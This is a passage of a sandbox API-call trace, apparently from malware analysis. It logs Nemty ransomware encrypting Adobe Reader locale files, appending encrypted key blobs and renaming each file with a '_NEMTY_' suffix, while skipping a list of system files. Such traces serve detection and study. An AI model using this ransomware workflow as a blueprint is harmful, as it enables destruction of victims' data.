pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.571] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.571] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.571] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ARzcpWSZWYwN7Dyb/9p8T6J6g9e8Cl1SM/8deUiq+aXBiq/HRL+Ci2OhW4+gFqDH\r\nKYEhXkodNITDn17W/oRRMm9pzb43UH22ayrfOZKYnlyZckDPngYPVhWxQY/o4pE6\r\ntXgtXaRSd+f8rKKPYoBX4wsB0Ezq5MqbciaS+Cv8EVtunufry+j0bcr9zXFpRm8W\r\nM8KkA99mbfh+X9bd/GP5FSc8mdRBm8/JZKpQpw7wbqM8rGpogwiLgq23M8vofI1v\r\nhsA2yuT/1jAAcQCtV9nqvgdM+wotlY2TNqusbO0kCThAP4Iu0zYRQRjvrXlxqfLr\r\nitbXQy+hGX9QMkeGXemEWw==\r\n", pcchString=0x653e5dc) returned 1 [0178.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0178.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\makeaccessible.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\makeaccessible.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.572] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=82944) returned 1 [0178.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14400) returned 0x6352c48 [0178.572] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.572] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14400, lpOverlapped=0x0) returned 1 [0178.578] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.579] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14400, lpOverlapped=0x0) returned 1 [0178.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.579] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=82944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14400 [0178.579] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.579] CloseHandle (hObject=0x2e8) returned 1 [0178.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0178.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0178.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0178.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0178.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0178.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0178.579] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\makeaccessible.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\makeaccessible.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\makeaccessible.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\makeaccessible.ita._nemty_kgobjgd_")) returned 1 [0178.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0178.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.580] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.ITA", cAlternateFileName="MULTIM~1.ITA")) returned 1 [0178.580] lstrcmpiW (lpString1="Multimedia.ITA", lpString2=".") returned 1 [0178.580] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="..") returned 1 [0178.580] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="...") returned 1 [0178.580] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="windows") returned -1 [0178.580] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.580] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="rsa") returned -1 [0178.580] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="NTDETECT.COM") returned -1 [0178.580] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="ntldr") returned -1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="MSDOS.SYS") returned 1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="IO.SYS") returned 1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="boot.ini") returned 1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="boot.ini") returned 1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="ntuser.dat") returned -1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="desktop.ini") returned 1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="CONFIG.SYS") returned 1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="RECYCLER") returned -1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="bootmgr") returned 1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="programdata") returned -1 [0178.581] lstrcmpiW (lpString1="Multimedia.ITA", lpString2="appdata") returned 1 [0178.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ITA", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0178.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ITA", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.ITA", lpUsedDefaultChar=0x0) returned 14 [0178.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ITA", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0178.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ITA", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.ITA", lpUsedDefaultChar=0x0) returned 14 [0178.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ITA", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0178.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ITA", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.ITA", lpUsedDefaultChar=0x0) returned 14 [0178.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ITA", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0178.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.ITA", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.ITA", lpUsedDefaultChar=0x0) returned 14 [0178.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.582] Sleep (dwMilliseconds=0x5) [0178.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e17c1b0, dwHighDateTime=0x1d561e8)) [0178.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e17c1b0, dwHighDateTime=0x1d561e8)) [0178.587] GetLastError () returned 0x0 [0178.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.587] GetLastError () returned 0x0 [0178.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.587] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.587] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.587] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.587] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="rsfBCy2nUQsbQIIo/fOQl/uXN2pxpeY+w9bCtDaM16cJE/fqNTC+uzPWH0J++u51\r\nx3oxRQdUcK4Q4JsBqx6GT/LWSWmWC4zoIdukqkTtcVFlnp0oOJoZ1akrDDuYlIN9\r\ncyrJmMar4/yTgCcXWpOk3xIMQ9A3Br3H07bTVd3Od0OA4mnJtwUErRIGJkBMLory\r\nGWqHFmvrQfv/9V3/7YRPnzYU51da2Qm9hd4jjXJ2blNksvtbZEIuUd4U5jG/LwKQ\r\nMrZzn2s43gKFxajAyuo33cOljJss/1a9LZI1vY47G04jOL/UuzwUyacrT2NdMA2A\r\nA+wH+Yhm+l5HPbZNMtLLXQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.587] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Multimedia.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\multimedia.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.588] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=82432) returned 1 [0178.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14200) returned 0x6352c48 [0178.588] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.588] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14200, lpOverlapped=0x0) returned 1 [0178.595] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.595] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14200, lpOverlapped=0x0) returned 1 [0178.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.595] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=82432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14200 [0178.595] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.595] CloseHandle (hObject=0x2e8) returned 1 [0178.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.596] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Multimedia.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\multimedia.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Multimedia.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\multimedia.ita._nemty_kgobjgd_")) returned 1 [0178.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.596] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.ITA", cAlternateFileName="")) returned 1 [0178.596] lstrcmpiW (lpString1="pddom.ITA", lpString2=".") returned 1 [0178.596] lstrcmpiW (lpString1="pddom.ITA", lpString2="..") returned 1 [0178.596] lstrcmpiW (lpString1="pddom.ITA", lpString2="...") returned 1 [0178.596] lstrcmpiW (lpString1="pddom.ITA", lpString2="windows") returned -1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="rsa") returned -1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="NTDETECT.COM") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="ntldr") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="MSDOS.SYS") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="IO.SYS") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="boot.ini") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="boot.ini") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="ntuser.dat") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="desktop.ini") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="CONFIG.SYS") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="RECYCLER") returned -1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="bootmgr") returned 1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="programdata") returned -1 [0178.597] lstrcmpiW (lpString1="pddom.ITA", lpString2="appdata") returned 1 [0178.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ITA", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.ITA", lpUsedDefaultChar=0x0) returned 9 [0178.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ITA", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.ITA", lpUsedDefaultChar=0x0) returned 9 [0178.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ITA", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.ITA", lpUsedDefaultChar=0x0) returned 9 [0178.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ITA", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.ITA", lpUsedDefaultChar=0x0) returned 9 [0178.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 